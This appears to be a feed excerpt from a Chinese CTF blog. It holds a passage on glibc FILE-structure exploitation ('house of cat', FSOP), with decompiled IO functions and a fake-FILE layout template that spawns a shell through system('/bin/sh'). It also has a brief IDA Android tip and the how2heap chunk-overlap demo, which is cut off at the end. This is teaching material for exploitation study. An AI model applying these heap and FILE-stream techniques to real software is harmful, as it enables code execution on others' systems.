这个全局变量为unsorted_bin，则此时程序不会崩溃，并且会进入到遍历的逻辑上（也就是会发生一次fp = fp-&gt;_chain）。在unsorted_bin(av)中，<code>_chain</code>这个地址指向的是smallbin[5]（64bit下是smallbin[4]）的存放地址。所以我们可以通过产生smallbin，伪造一个完整的<code>FILE</code>结构体，从而实现一次攻击。</p><p>具体的例子可以看<a href="http://showlinkroom.me/2018/08/31/pwnhub-old-chall/">pwnhub old_chall</a></p><h3 id="利用方式-libc-2-35-house-of-cat">利用方式(libc&gt;=2.35) house of cat</h3><p>这是前几天队友教的新的利用方法。在这个版本中，之前提到的<code>_IO_str_jumps</code>的漏洞已经被修补了，修补方式为<strong>不再使用函数指针</strong>，那么此时我们就无法通过伪造FILE结构体进行攻击了。于是大伙又找了个新的利用点，也就是<code>_IO_wfile_jumps</code>这个表。同时，<s>在这几年间</s>这个方法还有了新的改进：因为原先的漏洞利用思路所使用的<code>_IO_OVERFLOW</code>相关问题已经堵死，于是此时修改的<code>FILE-&gt;vtable</code>不再像过去一样使用<code>_IO_wfile_jumps</code>起始地址，而是使用<strong>其相对偏移的某一处地址</strong>，从而调用vtable中其他函数。</p><p><img src="/2017/06/12/pwn%E4%B9%8B%E6%96%87%E4%BB%B6%E6%8C%87%E9%92%88%E5%A4%84%E7%90%86/pwn04.png" alt=""></p><p>这样一来，就能沿用之前的思路，利用以下条件诱发<code>_IO_flush_all_lockp</code>，并且来到我们指定的函数位置:</p><ul><li>exit退出</li><li><code>__malloc_assert</code><br>~~ - 老版本libc中的<code>abort</code>~~</li></ul><p>这边参考的<a href="https://bbs.kanxue.com/thread-273895.htm">这位师傅</a>的流程，不过因为我比赛期间使用的环境问题更多，这里记录一下整体的流程。</p><p>首先这类文件结构体的攻击是<strong>极具特征化的</strong>，所以整体的攻击流程几乎可以复用。我们这边首先记录一下如何触发利用点。在<code>IO_wfile_seekoff</code>漫长的调用过程中，有几个关键点如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">__off64_t</span> __fastcall <span class="title">IO_wfile_seekoff</span><span class="params">(_IO_FILE *file, __int64 offset, <span class="type">unsigned</span> <span class="type">int</span> dir, <span class="type">int</span> mode)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">   v4 = a1;</span><br><span class="line">  v101 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  wide_data = file-&gt;_wide_data;</span><br><span class="line">  <span class="keyword">if</span> ( !a4 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="comment">// 这其中无法使用当前攻击流程</span></span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  _IO_write_base = (<span class="type">unsigned</span> __int64)wide_data-&gt;_IO_write_base;</span><br><span class="line">  _IO_write_ptr = (<span class="type">unsigned</span> __int64)wide_data-&gt;_IO_write_ptr;</span><br><span class="line">  v9 = offset;</span><br><span class="line">  <span class="keyword">if</span> ( *(_OWORD *)&amp;wide_data-&gt;_IO_read_base == __PAIR128__(_IO_write_ptr, wide_data-&gt;_IO_read_end) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">LODWORD</span>(v93) = <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">LODWORD</span>(v93) = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">if</span> ( _IO_write_base &lt; _IO_write_ptr )</span><br><span class="line">      <span class="keyword">goto</span> LABEL_4;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( (file-&gt;_flags &amp; <span class="number">0x800</span>) == <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( wide_data-&gt;_IO_buf_base )</span><br><span class="line">      <span class="keyword">goto</span> LABEL_6;</span><br><span class="line">    <span class="keyword">goto</span> LABEL_36;</span><br><span class="line">  &#125;</span><br><span class="line">LABEL_4:</span><br><span class="line">  v10 = <span class="built_in">IO_switch_to_wget_mode</span>(&amp;file-&gt;_flags);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">__int64 __fastcall <span class="title">IO_switch_to_wget_mode</span><span class="params">(_IO_FILE *a1)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">struct</span> <span class="title class_">_IO_wide_data</span> *wide_data; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">wchar_t</span> *IO_write_ptr; <span class="comment">// rdx</span></span><br><span class="line">  __int64 result; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">int</span> flags; <span class="comment">// ecx</span></span><br><span class="line"></span><br><span class="line">  wide_data = a1-&gt;_wide_data;</span><br><span class="line">  IO_write_ptr = wide_data-&gt;_IO_write_ptr;</span><br><span class="line">  <span class="keyword">if</span> ( IO_write_ptr &gt; wide_data-&gt;_IO_write_base )</span><br><span class="line">  &#123;</span><br><span class="line">    result = (*((__int64 (__fastcall **)(_IO_FILE *, __int64))wide_data-&gt;_wide_vtable + <span class="number">3</span>))(a1, <span class="number">0xFFFFFFFF</span>LL); <span class="comment">// 关注这里</span></span><br><span class="line">    <span class="keyword">if</span> ( (_DWORD)result == <span class="number">-1</span> )</span><br><span class="line">      <span class="keyword">return</span> result;</span><br><span class="line">    wide_data = a1-&gt;_wide_data;</span><br><span class="line">    IO_write_ptr = wide_data-&gt;_IO_write_ptr;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// 包含其他逻辑</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们的目标是来到<code>IO_switch_to_wget_mode</code>函数中，并且调用<code>wide_data-&gt;_wide_vtable + 3</code>。此时这个<code>a1</code>为我们传入的FILE结构体，也就是说这个函数会有一个参数可控，参数对应的位置正是<code>FILE-&gt;_flags</code>（偏移为0）。那么此时为了能够顺利的来到这个函数，我们需要达成以下条件</p><ul><li>传入参数mode=0</li><li><code>wide_data-&gt;_IO_write_base</code> &lt; <code>wide_data-&gt;_IO_write_ptr</code></li><li><code>wide_data-&gt;_IO_read_end</code> != <code>wide_data-&gt;_IO_read_ptr</code></li><li><code>FILE-&gt;_lock</code>可写（这一个条件来自于之前提到的<code>_IO_flush_all_lockp</code>函数要求）</li></ul><p>其中<code>wide_data</code>按照要求设置好即可，但是这个<code>mode</code>是怎么设置的呢？要来到这个函数外部，也就是原先的<code>_IO_flush_all_lockp</code>的位置</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">IO_flush_all_lockp</span><span class="params">(<span class="type">int</span> a1)</span></span>&#123;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 省略部分代码</span></span><br><span class="line">      <span class="keyword">if</span> ( file-&gt;_mode &gt; <span class="number">0</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        _wide_data = file-&gt;_wide_data;</span><br><span class="line">        v3 = _wide_data-&gt;_IO_write_base;</span><br><span class="line">        <span class="keyword">if</span> ( _wide_data-&gt;_IO_write_ptr &gt; v3 )</span><br><span class="line">          <span class="keyword">goto</span> LABEL_8;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span> <span class="keyword">if</span> ( file-&gt;_IO_write_ptr &gt; file-&gt;_IO_write_base )</span><br><span class="line">      &#123;</span><br><span class="line">LABEL_8:</span><br><span class="line">        vtable = *(_QWORD *)&amp;file[<span class="number">1</span>]._flags;</span><br><span class="line">        <span class="keyword">if</span> ( &amp;unk_7FC0EAE64768 - (_UNKNOWN *)qword_7FC0EAE63A00 &lt;= (<span class="type">unsigned</span> __int64)(vtable - (_QWORD)qword_7FC0EAE63A00) )</span><br><span class="line">        &#123;</span><br><span class="line">          v14 = *(_QWORD *)&amp;file[<span class="number">1</span>]._flags;</span><br><span class="line">          <span class="built_in">sub_7FC0EACD6EF0</span>(lock, vtable - (_QWORD)qword_7FC0EAE63A00);</span><br><span class="line">          vtable = v14;</span><br><span class="line">        &#125;</span><br><span class="line">        lock = (__int64 *)&amp;file-&gt;_flags;</span><br><span class="line">        <span class="keyword">if</span> ( (*(<span class="type">unsigned</span> <span class="built_in">int</span> (__fastcall **)(<span class="type">void</span> *, __int64, <span class="type">void</span> *, <span class="type">void</span> *))(vtable + <span class="number">24</span>))(  <span class="comment">//OVERFLOW 函数调用</span></span><br><span class="line">               file,</span><br><span class="line">               <span class="number">0xFFFFFFFF</span>LL,</span><br><span class="line">               (<span class="type">void</span> *)v8,</span><br><span class="line">               v3) == <span class="number">-1</span> )</span><br><span class="line"></span><br><span class="line">               </span><br></pre></td></tr></table></figure><p><em>其实本来这里的<code>v3</code>（也就是第四个参数mode）是不存在的，但是毕竟我们是强制修改了调用函数的位置，所以这里相当于强行激活了这个参数。</em><br>观察程序可知，第四个参数来自于<code>_wide_data-&gt;_IO_write_base</code>，同时还必须保证<code>file-&gt;_mode &gt; 0</code>以及<code>_wide_data-&gt;_IO_write_ptr &gt; _wide_data-&gt;_IO_write_base </code>才能满足，于是这个位置新增需求如下</p><ul><li><code>file-&gt;_mode &gt; 0</code></li><li><code>_wide_data-&gt;_IO_write_ptr &gt; _wide_data-&gt;_IO_write_base</code>（只有大于才会赋值v3）</li><li><code>_wide_data-&gt;_IO_write_base != 0</code>（满足seekoff函数的mode）</li></ul><p>那么结合前面所有的要求，综合下来，这个地方的利用点需要满足如下条件</p><ul><li><code>FILE-&gt;_IO_write_base</code>&lt;<code>FILE-&gt;_IO_write_ptr</code></li><li><code>wide_data-&gt;_IO_write_base</code> &lt; <code>wide_data-&gt;_IO_write_ptr</code></li><li><code>wide_data-&gt;_IO_read_end</code> != <code>wide_data-&gt;_IO_read_ptr</code></li><li><code>FILE-&gt;_lock</code>可写（这一个条件来自于之前提到的<code>_IO_flush_all_lockp</code>函数要求）</li><li><code>file-&gt;_mode &gt; 0</code></li><li><code>_wide_data-&gt;_IO_write_base != 0</code>（满足seekoff函数的mode）</li></ul><p>总共六条。同时为了实现利用，需要修改如下的点:</p><ul><li><code>FILE-&gt;flag=&quot;/bin/sh&quot;</code></li><li><code>wide_data-&gt;jump(0xe0 offset)-&gt;0x18 = system</code></li></ul><p>两条要求，总共八条，实现攻击。</p><h4 id="利用模板">利用模板</h4><p>虽然大伙好像都有利用板子一说，但是实际比赛中我也似乎没有写通用的板子。。。不如这边记录一下每一个要修改的偏移和数据格式大概的样子把</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line">+---------------&gt;+-----------------------------------------+                           </span><br><span class="line">|                |+0 flag             +8 IO_read ptr       |                           </span><br><span class="line">|                |/bin/sh                                  |                           </span><br><span class="line">|                |                                         |                           </span><br><span class="line">|                |+10 _IO_read_end    +18 _IO_read_base    |                           </span><br><span class="line">|                |0                   system_addr          |                           </span><br><span class="line">|                |+20 _IO_write_base  +28 _IO_write_ptre   |                           </span><br><span class="line">|                |1                   0x100                |                           </span><br><span class="line">|                |+30 _IO_write_end                        |                           </span><br><span class="line">|                |                                         |                           </span><br><span class="line">|                |                                         |                           </span><br><span class="line">|                |                                         |                           </span><br><span class="line">|                |                                         |                           </span><br><span class="line">|                |                                         |                           </span><br><span class="line">|                |                                         |                           </span><br><span class="line">|                |+a0 _IO_wide_data                        |                           </span><br><span class="line">|          +-----+Origin_addr                              |                           </span><br><span class="line">|          |     |                                         |                           </span><br><span class="line">|          |     |                                         |                           </span><br><span class="line">|          |     |+c0 mode                                 |                           </span><br><span class="line">|          |     |1                                        |                           </span><br><span class="line">|          |     |                                         |                           </span><br><span class="line">|          |     |                                         |                           </span><br><span class="line">|          |     |                                         |                           </span><br><span class="line">|          |     |                                         |                           </span><br><span class="line">|          |     |                +e0 _IO_wfile_jumps+0x30 | </span><br><span class="line">|          |     +-----------------------------------------+                           </span><br><span class="line">|          |                                                                          </span><br><span class="line">|          |                                                                           </span><br><span class="line">|          |                                                                           </span><br><span class="line">|          |                                                                           </span><br><span class="line">|          +----&gt;+-----------------------------------------+                           </span><br><span class="line">|                |+0 _IO_read_ptr     +8 _IO_read_end      |                           </span><br><span class="line">|                |510                                      |                           </span><br><span class="line">|                |+10 _IO_read_base   +18 _IO_write_base   |                           </span><br><span class="line">|                |                    510                  |                           </span><br><span class="line">|                |+20 _IO_write_ptr   +28 _IO_write_end    |                           </span><br><span class="line">|                |530                                      |                           </span><br><span class="line">|                |+30 _IO_buf_base    +38 _IO_buf_end      |                           </span><br><span class="line">|                |                                         |                           </span><br><span class="line">|                |                                         |                           </span><br><span class="line">|                |                                         |                           </span><br><span class="line">|                |                                         |                           </span><br><span class="line">|                |                                         |                           </span><br><span class="line">|                |+e0 vtable                               |                           </span><br><span class="line">+----------------+ptr_to_file_offset                       |                           </span><br><span class="line">                 +-----------------------------------------+                           </span><br></pre></td></tr></table></figure><p>大致如上，修改成这样即可完成攻击。</p><h2 id="参考链接">参考链接</h2><p>参考博客:<br><a href="http://blog.hac425.top/2018/01/13/pwn_with_file_part4.html">http://blog.hac425.top/2018/01/13/pwn_with_file_part4.html</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;关于pwn的技巧真多。。。其实这个思路是看了队友的poc才知道的&lt;/p&gt;
&lt;p&gt;2018.9.9 更新：这个思路也是看了队友的博客才知道的，队友太强了&lt;/p&gt;
&lt;p&gt;2024.5.20 更新：谁能想到，七年之后这个技巧居然还能玩，有了自己专属的名字 &lt;strong&gt;File Stream Oriented Programming&lt;/strong&gt;，而且成了高版本中比较稳定的利用思路。。。&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="File Stream Pointer Overflow" scheme="https://showlinkroom.me/tags/File-Stream-Pointer-Overflow/"/>
    
  </entry>
  
  <entry>
    <title>Android逆向的那些坑</title>
    <link href="https://showlinkroom.me/2017/06/12/Android%E8%B0%83%E8%AF%95%E7%9A%84%E9%82%A3%E4%BA%9B%E5%9D%91/"/>
    <id>https://showlinkroom.me/2017/06/12/Android%E8%B0%83%E8%AF%95%E7%9A%84%E9%82%A3%E4%BA%9B%E5%9D%91/</id>
    <published>2017-06-12T12:19:15.000Z</published>
    <updated>2020-07-16T13:31:30.370Z</updated>
    
    <content type="html"><![CDATA[<p>本文将会不定期更新遇到的android逆向的方法:</p><h2 id="more-android逆向的那些坑"><span id="more"></span><br>Android逆向的那些坑</h2><h2 id="关于ida的不可识别的函数">关于IDA的不可识别的函数:</h2><p>我们用IDA去调试.so文件的时候，往往会遇到如下的情况:<br><img src="/2017/06/12/Android%E8%B0%83%E8%AF%95%E7%9A%84%E9%82%A3%E4%BA%9B%E5%9D%91/android00.png" alt=""><br>其实这个东西解决还是很容易的，在变量a1处按下y，修改成如下<br><img src="/2017/06/12/Android%E8%B0%83%E8%AF%95%E7%9A%84%E9%82%A3%E4%BA%9B%E5%9D%91/android01.png" alt=""><br>然后源代码的调试就简单多了:<br><img src="/2017/06/12/Android%E8%B0%83%E8%AF%95%E7%9A%84%E9%82%A3%E4%BA%9B%E5%9D%91/android02.png" alt=""></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;本文将会不定期更新遇到的android逆向的方法:&lt;/p&gt;
&lt;h2 id=&quot;more-android逆向的那些坑&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/categories/Reverse/"/>
    
    
    <category term="android" scheme="https://showlinkroom.me/tags/android/"/>
    
    <category term="mobile" scheme="https://showlinkroom.me/tags/mobile/"/>
    
  </entry>
  
  <entry>
    <title>heapoverflow之chunk_overlap</title>
    <link href="https://showlinkroom.me/2017/06/06/heapoverflow%E4%B9%8Bchunk-overlap/"/>
    <id>https://showlinkroom.me/2017/06/06/heapoverflow%E4%B9%8Bchunk-overlap/</id>
    <published>2017-06-06T02:31:49.000Z</published>
    <updated>2020-07-16T13:31:30.387Z</updated>
    
    <content type="html"><![CDATA[<p>又看不懂wp了。。。。再学习一种新的攻击方法好了</p><h2 id="more-heapoverflow之chunk-overlap"><span id="more"></span><br>heapoverflow之chunk_overlap</h2><p>同样从how2heap中找到以下代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> A simple tale of overlapping chunk.</span></span><br><span class="line"><span class="comment"> This technique is taken from</span></span><br><span class="line"><span class="comment"> http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc , <span class="type">char</span>* argv[])</span>&#123;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">intptr_t</span> *p1,*p2,*p3,*p4;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nThis is a simple chunks overlapping problem\n\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Let&#x27;s start to allocate 3 chunks on the heap\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">p1 = <span class="built_in">malloc</span>(<span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line">p2 = <span class="built_in">malloc</span>(<span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line">p3 = <span class="built_in">malloc</span>(<span class="number">0x80</span> - <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n&quot;</span>, p1, p2, p3);</span><br><span class="line"></span><br><span class="line"><span class="built_in">memset</span>(p1, <span class="string">&#x27;1&#x27;</span>, <span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line"><span class="built_in">memset</span>(p2, <span class="string">&#x27;2&#x27;</span>, <span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line"><span class="built_in">memset</span>(p3, <span class="string">&#x27;3&#x27;</span>, <span class="number">0x80</span> - <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nNow let&#x27;s free the chunk p2\n&quot;</span>);</span><br><span class="line"><span class="built_in">free</span>(p2);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Now let&#x27;s simulate an overflow that can overwrite the size of the\nchunk freed p2.\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;For a toy program, the value of the last 3 bits is unimportant;&quot;</span></span><br><span class="line"><span class="string">&quot; however, it is best to maintain the stability of the heap.\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),&quot;</span></span><br><span class="line"><span class="string">&quot; to assure that p1 is not mistaken for a free chunk.\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> evil_chunk_size = <span class="number">0x181</span>;</span><br><span class="line"><span class="type">int</span> evil_region_size = <span class="number">0x180</span> - <span class="number">8</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n&quot;</span>,</span><br><span class="line"> evil_chunk_size, evil_region_size);</span><br><span class="line"></span><br><span class="line">*(p2<span class="number">-1</span>) = evil_chunk_size; <span class="comment">// we are overwriting the &quot;size&quot; field of chunk p2</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nNow let&#x27;s allocate another chunk with a size equal to the data\n&quot;</span></span><br><span class="line">       <span class="string">&quot;size of the chunk p2 injected size\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;This malloc will be served from the previously freed chunk that\n&quot;</span></span><br><span class="line">       <span class="string">&quot;is parked in the unsorted bin which size has been modified by us\n&quot;</span>);</span><br><span class="line">p4 = <span class="built_in">malloc</span>(evil_region_size);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\np4 has been allocated at %p and ends at %p\n&quot;</span>, p4, p4+evil_region_size);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p3 starts at %p and ends at %p\n&quot;</span>, p3, p3+<span class="number">80</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p4 should overlap with p3, in this case p4 includes all p3.\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,&quot;</span></span><br><span class="line"><span class="string">&quot; and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Let&#x27;s run through an example. Right now, we have:\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p4 = %s\n&quot;</span>, (<span class="type">char</span> *)p4);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p3 = %s\n&quot;</span>, (<span class="type">char</span> *)p3);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nIf we memset(p4, &#x27;4&#x27;, %d), we have:\n&quot;</span>, evil_region_size);</span><br><span class="line"><span class="built_in">memset</span>(p4, <span class="string">&#x27;4&#x27;</span>, evil_region_size);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p4 = %s\n&quot;</span>, (<span class="type">char</span> *)p4);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p3 = %s\n&quot;</span>, (<span class="type">char</span> *)p3);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nAnd if we then memset(p3, &#x27;3&#x27;, 80), we have:\n&quot;</span>);</span><br><span class="line"><span class="built_in">memset</span>(p3, <span class="string">&#x27;3&#x27;</span>, <span class="number">80</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p4 = %s\n&quot;</span>, (<span class="type">char</span> *)p4);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;p3 = %s\n&quot;</span>, (<span class="type">char</span> *)p3);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">首先我们分配三个块，并且把中间的那个块<span class="built_in">free</span>:</span><br><span class="line">```C</span><br><span class="line">p1 = <span class="built_in">malloc</span>(<span class="number">0x100</span> - <span class="number">8</span>);<span class="comment">// 这个 - 8是因为要排除size，之后分配的时候能正好对齐</span></span><br><span class="line">p2 = <span class="built_in">malloc</span>(<span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line">p3 = <span class="built_in">malloc</span>(<span class="number">0x80</span> - <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">memset</span>(p1, <span class="string">&#x27;1&#x27;</span>, <span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line"><span class="built_in">memset</span>(p2, <span class="string">&#x27;2&#x27;</span>, <span class="number">0x100</span> - <span class="number">8</span>);</span><br><span class="line"><span class="built_in">memset</span>(p3, <span class="string">&#x27;3&#x27;</span>, <span class="number">0x80</span> - <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\nNow let&#x27;s free the chunk p2\n&quot;</span>);</span><br><span class="line"><span class="built_in">free</span>(p2);</span><br></pre></td></tr></table></figure><p>接下来，我们修改p2的标志位，让glibc认为这个堆的大小为0x180(也即是p2和p3)的总和:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> evil_chunk_size = <span class="number">0x181</span>;</span><br><span class="line"><span class="type">int</span> evil_region_size = <span class="number">0x180</span> - <span class="number">8</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n&quot;</span>,</span><br><span class="line"> evil_chunk_size, evil_region_size);</span><br><span class="line"></span><br><span class="line">*(p2<span class="number">-1</span>) = evil_chunk_size; <span class="comment">// we are overwriting the &quot;size&quot; field of chunk p2</span></span><br></pre></td></tr></table></figure><p>这里同样，由于为了对齐，我们需要去掉size的大小，所以实际大小为0x180 - 